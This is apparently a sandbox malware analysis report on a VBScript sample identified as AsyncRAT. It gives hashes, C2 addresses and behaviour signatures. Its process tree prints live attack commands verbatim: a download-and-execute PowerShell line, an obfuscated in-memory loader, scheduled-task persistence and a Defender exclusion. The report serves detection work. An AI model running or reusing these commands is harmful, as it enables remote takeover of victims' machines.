Analysis

  • max time kernel
    216s
  • max time network
    266s
  • platform
    windows11-21h2_x64
  • resource
    win11-20241007-en
  • resource tags

    arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    09-12-2024 20:32

General

  • Target

    1821_output.vbs

  • Size

    61KB

  • MD5

    6943e4c37b93c2a81a98a81e36d2d5ce

  • SHA1

    ad2ba17165344f88b6bf0befaac528feb8a3280f

  • SHA256

    57bf3620d73728f07bed5cd48af70ca89dc70721b62c084f5f0feebed7f81a4f

  • SHA512

    78034880a195d5dc7729a6c7631a660f9945dd368a86b50b458e70e0191a7953ba47435c242c94ce8548832e4920e08949fcb1aa099d5d7b927da9bc9b69cf80

  • SSDEEP

    768:ni1+nYY2MDjo2CLlIbkrMvrIzkoILj2AA3drdg8KCklQCdUq13ZZIwX+Ay6Iwcgh:iXvlIkgvrWC3ASCk0q13HX+C9czhG

Malware Config

Extracted

Family

asyncrat

Version

0.5.8

Botnet

Default

C2

jt8iyre.localto.net:55644

jt8iyre.localto.net:2101

Mutex

WzRdrlEJS302

Attributes
  • delay

    3

  • install

    false

  • install_file

    dwmm.exe

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Asyncrat family
  • Async RAT payload 1 IoCs
  • Blocklisted process makes network request 8 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Run Powershell and hide display window.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Kills process with taskkill 1 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 27 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\1821_output.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4208
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powershell -NoProfile -ExecutionPolicy Bypass -Command "iex (iwr -Uri https://emptyservices.xyz/stub.txt -UseBasicParsing -Headers @{ 'Authorization' = 'your_fixed_token_here' })"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2560
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -ExecutionPolicy Bypass -Command "iex (iwr -Uri https://emptyservices.xyz/stub.txt -UseBasicParsing -Headers @{ 'Authorization' = 'your_fixed_token_here' })"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2708
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\2gvksybs\2gvksybs.cmdline"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2512
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES94ED.tmp" "c:\Users\Admin\AppData\Local\Temp\2gvksybs\CSCFA2F0A663D4B44FC98ACE4AC8C544AC6.TMP"
            5⤵
              PID:2668
          • C:\windows\system32\cmstp.exe
            "C:\windows\system32\cmstp.exe" /au C:\windows\temp\blcf1mqb.inf
            4⤵
              PID:2868
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\c.bat" "
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:3168
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function fn1($p1){ $a=[System.Security.Cryptography.Aes]::Create(); $a.Mode=[System.Security.Cryptography.CipherMode]::CBC; $a.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $a.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('przvDUO3TwKRjvdqBS3ijZmAMoLKmapNSNZNxjSSlQU='); $a.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('j86NpELwD0eEb75+pqv1Rw=='); $d=$a.CreateDecryptor(); $r=$d.TransformFinalBlock($p1, 0, $p1.Length); $d.Dispose(); $a.Dispose(); $r;}function fn2($p2){ $m1=New-Object System.IO.MemoryStream(,$p2); $m2=New-Object System.IO.MemoryStream; $g=New-Object System.IO.Compression.GZipStream($m1, [IO.Compression.CompressionMode]::Decompress); $g.CopyTo($m2); $g.Dispose(); $m1.Dispose(); $m2.Dispose(); $m2.ToArray();}function fn3($p3, $p4){ $a1=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$p3); $e=$a1.EntryPoint; $e.Invoke($null, $p4);}$p='C:\Users\Admin\AppData\Local\Temp\c.bat';$host.UI.RawUI.WindowTitle = $p;$c=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($p).Split([Environment]::NewLine);foreach ($l in $c) { if ($l.StartsWith(':: ')) { $pl=$l.Substring(3); break; }}$pdata=[string[]]$pl.Split('\');$p1=fn2 (fn1 ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($pdata[0])));$p2=fn2 (fn1 ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($pdata[1])));fn3 $p1 $null;fn3 $p2 (,[string[]] (''));
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Modifies registry class
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:3292
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_175_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\latencyx175.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:3568
            • C:\Windows\SysWOW64\WScript.exe
              "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\latencyx175.vbs"
              4⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:2120
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\latencyx175.bat" "
                5⤵
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:2704
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function fn1($p1){ $a=[System.Security.Cryptography.Aes]::Create(); $a.Mode=[System.Security.Cryptography.CipherMode]::CBC; $a.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $a.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('przvDUO3TwKRjvdqBS3ijZmAMoLKmapNSNZNxjSSlQU='); $a.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('j86NpELwD0eEb75+pqv1Rw=='); $d=$a.CreateDecryptor(); $r=$d.TransformFinalBlock($p1, 0, $p1.Length); $d.Dispose(); $a.Dispose(); $r;}function fn2($p2){ $m1=New-Object System.IO.MemoryStream(,$p2); $m2=New-Object System.IO.MemoryStream; $g=New-Object System.IO.Compression.GZipStream($m1, [IO.Compression.CompressionMode]::Decompress); $g.CopyTo($m2); $g.Dispose(); $m1.Dispose(); $m2.Dispose(); $m2.ToArray();}function fn3($p3, $p4){ $a1=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$p3); $e=$a1.EntryPoint; $e.Invoke($null, $p4);}$p='C:\Users\Admin\AppData\Roaming\latencyx175.bat';$host.UI.RawUI.WindowTitle = $p;$c=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($p).Split([Environment]::NewLine);foreach ($l in $c) { if ($l.StartsWith(':: ')) { $pl=$l.Substring(3); break; }}$pdata=[string[]]$pl.Split('\');$p1=fn2 (fn1 ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($pdata[0])));$p2=fn2 (fn1 ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($pdata[1])));fn3 $p1 $null;fn3 $p2 (,[string[]] (''));
                  6⤵
                  • Blocklisted process makes network request
                  • Command and Scripting Interpreter: PowerShell
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  PID:1740
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -c .('Add-MpP' + 'reference') -ExclusionPath C:\ -ExclusionProcess powershell.exe
        1⤵
        • Command and Scripting Interpreter: PowerShell
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3856
      • C:\Windows\system32\taskkill.exe
        taskkill /IM cmstp.exe /F
        1⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1584

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

        Filesize

        2KB

        MD5

        627073ee3ca9676911bee35548eff2b8

        SHA1

        4c4b68c65e2cab9864b51167d710aa29ebdcff2e

        SHA256

        85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

        SHA512

        3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

        Filesize

        2KB

        MD5

        5dc9a9599fb11ee70f9164d8fea15abf

        SHA1

        85faf41a206f3fa8b469609333558cf817df2cda

        SHA256

        3f033142ed64a5d1e1e19d11a710e22a32827e98922769497ed6bd6e452e44de

        SHA512

        499407006c53a5f8e5b2b00dab734613762e66a9080504ab50d21e4c8a32b75d7308ccaa0cecfbeb7058044448a40912715da1f02ec72994596d567b515dcfca

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        18KB

        MD5

        45357fcece625a60add4778f706acbf0

        SHA1

        dd0ec039d7d82a6e7789f88a9b71d88a495171af

        SHA256

        7044aa5945a1560e385b76dcadad7582d64ea8faa688f96d37076926598116ec

        SHA512

        c7460f6f23f4b95b203c04689a735ca3d4c8c8b50d66a1dc3429bb7efba1ff68ed4a9027b01fe0a3f68371e1a7f434ef935f44cc69a264c304fdff133e4c0b72

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        900c7fac3ccd57351617c0b7e480dcf8

        SHA1

        262d1a39dc55644003ca46399845b0260ec83aee

        SHA256

        53250ca5ebb80432367e035099f602133ef1d97dee0147d428b6a3360cb29bdd

        SHA512

        f5786e5f38ef9ec8f5eb0e573c6c37fdbae24ae6bd04dfbed281e464d7605ab2e6acb9bb5a2fedd1c833bd101cbeadfe691b191863c67f68030cc0cd8db31999

      • C:\Users\Admin\AppData\Local\Temp\2gvksybs\2gvksybs.dll

        Filesize

        4KB

        MD5

        cb8e956c142aaecfc56307c7efa50457

        SHA1

        296f9266d79ba90a3c1b6a770a19fa402ca39b2f

        SHA256

        6dfc9d1b621dc6538723d6e258aeaf29f3b9751313d67b89f23fbaef9fb45719

        SHA512

        38e37d01d4992b42eba048ca5551c66fe4ad0fc0153c5fd9a3685b41291f5b0958281e00a3acffde2d4abbd188eec3bc778de4e03396f3792c4be323404eb814

      • C:\Users\Admin\AppData\Local\Temp\RES94ED.tmp

        Filesize

        1KB

        MD5

        2a2a2b5a55e91548c41b9d6787a5e190

        SHA1

        1a5345df8cd2e49a0a92891731d3c01a5470a730

        SHA256

        ccc368d0d171e1b1b40752a6dc41e04887611626e8edc182a44782c6379ecadd

        SHA512

        c8d80cf84ac29e0dbe4b3701003834f03360e45767f504b5b38092063a5d57e2ca8fd2637fd8d03e4048d21633d5ec95da8555348672b5ee518c8310f5d90cf1

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_p1dgcfim.hun.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Local\Temp\c.bat

        Filesize

        53KB

        MD5

        5658af2134929280550a46a39d5d1254

        SHA1

        757ce11f87e3886b0320fca0bd6bf1f26968a25e

        SHA256

        942cc99875f60e2aef139a7d8e8341409d2dd4625573f32cbe292124838cdeed

        SHA512

        e7ac74d0f9182d563dcb5765c160bec3ea4ede13a0a2612bafc5c8451393f3646430c340df57f1ad02807d9b610f55da0db2c67d531de21e91c21ebfe3cea1c8

      • C:\Users\Admin\AppData\Roaming\latencyx175.vbs

        Filesize

        111B

        MD5

        cb1edae377f686b041c3a03f4735d5e3

        SHA1

        95285cf89dde407317608479e93772b57d9ab1e7

        SHA256

        ccf6cdade6d6ca7e30e90a0a47bda1c023e0288828108380d1ac0ff0ebfe4bfc

        SHA512

        3e6c2fc7db032e3d1d3f8cffea53cdf29d34574626764016d981371b66a2f5264bcbe6e791dd80ae62f1e796d3ef28ab8eb39cc4af86ed1e748a7c432853fd23

      • C:\windows\temp\blcf1mqb.inf

        Filesize

        683B

        MD5

        a4fd12b94ad4ac06fabd8dd56dd5ff2b

        SHA1

        940d129205e04ba31b10a72d7a7a236a9ed0488b

        SHA256

        fe9977d49d2ae366779da959a5c9a6cc7664bc82d7c8e243f1baa9aa539cd320

        SHA512

        a4712ad7a23ab7a1eadfdaa7dc73dc406a0a14313c0413561f2f4ba8087c79c504d1d4391585b1b91f580ffef3869a37523707979dd5ab870a596062497e79fe

      • \??\c:\Users\Admin\AppData\Local\Temp\2gvksybs\2gvksybs.0.cs

        Filesize

        2KB

        MD5

        897ac4306f2a2524bc3c441bd00c72b9

        SHA1

        1703dbf9a2a78491dfd6685540d4691839e33b69

        SHA256

        a889dd1616631e369d253d6d89cc3a253b663e636bb1cdebbf831817592b405b

        SHA512

        2eba96a7960fe4c8c083ffbca30dbff4c5aac6acfa2c99b6ab5802376d028cbf471c3f06fcef9a3a0129dc988df1aceba808c3436cd110c123dc2ba1147c81b6

      • \??\c:\Users\Admin\AppData\Local\Temp\2gvksybs\2gvksybs.cmdline

        Filesize

        369B

        MD5

        2459e26ffc036101eb30fa04595cba72

        SHA1

        81e92c4cd37f497a92afe6cf332623aa9c12ca76

        SHA256

        f46ab337578d00db9f58706b2541633e37b28e06ef0f18f992c638e689fcd00b

        SHA512

        91e9cadeec206753a3aa8c19b104983210899509388c2ce5a5a816f8ebd31c69720e862b77bf26642bc56f0c95e6396fdc903f1d4759e67dbe9284f2b3717eb8

      • \??\c:\Users\Admin\AppData\Local\Temp\2gvksybs\CSCFA2F0A663D4B44FC98ACE4AC8C544AC6.TMP

        Filesize

        652B

        MD5

        f35ad23c9892b4b623d3792f10ef1f90

        SHA1

        e35e4c1ab0e3c9e2f8a896229c5c9aa57ed21034

        SHA256

        b2fe3482ec4d21b5807c0c3fab3beff84aa9d85e4d0861cd94e1eae5c57ca45a

        SHA512

        dba1933060cd39c7b5bfe2f7591741e1e1f7d7c20d6efbc434fcfd43c952d69b5d06ca60332331ac04bb53e29c8ba4fe086792dfcab6a8938060e93ebbad773e

      • memory/1740-124-0x0000000007E50000-0x0000000007E6E000-memory.dmp

        Filesize

        120KB

      • memory/1740-122-0x0000000007DB0000-0x0000000007E26000-memory.dmp

        Filesize

        472KB

      • memory/1740-118-0x0000000007910000-0x0000000007922000-memory.dmp

        Filesize

        72KB

      • memory/1740-123-0x0000000007D30000-0x0000000007D98000-memory.dmp

        Filesize

        416KB

      • memory/1740-125-0x0000000008CD0000-0x0000000008D62000-memory.dmp

        Filesize

        584KB

      • memory/2708-47-0x00007FFF856F0000-0x00007FFF861B2000-memory.dmp

        Filesize

        10.8MB

      • memory/2708-12-0x00007FFF856F0000-0x00007FFF861B2000-memory.dmp

        Filesize

        10.8MB

      • memory/2708-13-0x0000012071300000-0x000001207131C000-memory.dmp

        Filesize

        112KB

      • memory/2708-11-0x00007FFF856F0000-0x00007FFF861B2000-memory.dmp

        Filesize

        10.8MB

      • memory/2708-26-0x0000012071590000-0x0000012071598000-memory.dmp

        Filesize

        32KB

      • memory/2708-42-0x00007FFF856F0000-0x00007FFF861B2000-memory.dmp

        Filesize

        10.8MB

      • memory/2708-0-0x00007FFF856F3000-0x00007FFF856F5000-memory.dmp

        Filesize

        8KB

      • memory/2708-43-0x00007FFF856F3000-0x00007FFF856F5000-memory.dmp

        Filesize

        8KB

      • memory/2708-10-0x00007FFF856F0000-0x00007FFF861B2000-memory.dmp

        Filesize

        10.8MB

      • memory/2708-9-0x0000012071070000-0x0000012071092000-memory.dmp

        Filesize

        136KB

      • memory/3292-55-0x0000000005F10000-0x0000000005F76000-memory.dmp

        Filesize

        408KB

      • memory/3292-52-0x0000000002DE0000-0x0000000002E16000-memory.dmp

        Filesize

        216KB

      • memory/3292-71-0x0000000006B10000-0x0000000006B18000-memory.dmp

        Filesize

        32KB

      • memory/3292-72-0x00000000078B0000-0x000000000794C000-memory.dmp

        Filesize

        624KB

      • memory/3292-73-0x00000000079E0000-0x00000000079EE000-memory.dmp

        Filesize

        56KB

      • memory/3292-74-0x0000000008A80000-0x0000000009026000-memory.dmp

        Filesize

        5.6MB

      • memory/3292-70-0x0000000006AD0000-0x0000000006AEA000-memory.dmp

        Filesize

        104KB

      • memory/3292-68-0x0000000006580000-0x00000000065CC000-memory.dmp

        Filesize

        304KB

      • memory/3292-53-0x0000000005870000-0x0000000005E9A000-memory.dmp

        Filesize

        6.2MB

      • memory/3292-54-0x0000000005730000-0x0000000005752000-memory.dmp

        Filesize

        136KB

      • memory/3292-56-0x0000000005F80000-0x0000000005FE6000-memory.dmp

        Filesize

        408KB

      • memory/3292-65-0x0000000006120000-0x0000000006477000-memory.dmp

        Filesize

        3.3MB

      • memory/3292-67-0x00000000064D0000-0x00000000064EE000-memory.dmp

        Filesize

        120KB

      • memory/3292-69-0x0000000007E50000-0x00000000084CA000-memory.dmp

        Filesize

        6.5MB

      • memory/3568-84-0x0000000007200000-0x0000000007234000-memory.dmp

        Filesize

        208KB

      • memory/3568-98-0x0000000007690000-0x00000000076A1000-memory.dmp

        Filesize

        68KB

      • memory/3568-97-0x0000000007710000-0x00000000077A6000-memory.dmp

        Filesize

        600KB

      • memory/3568-96-0x0000000007500000-0x000000000750A000-memory.dmp

        Filesize

        40KB

      • memory/3568-95-0x0000000007260000-0x0000000007304000-memory.dmp

        Filesize

        656KB

      • memory/3568-94-0x0000000007240000-0x000000000725E000-memory.dmp

        Filesize

        120KB

      • memory/3568-85-0x0000000070DF0000-0x0000000070E3C000-memory.dmp

        Filesize

        304KB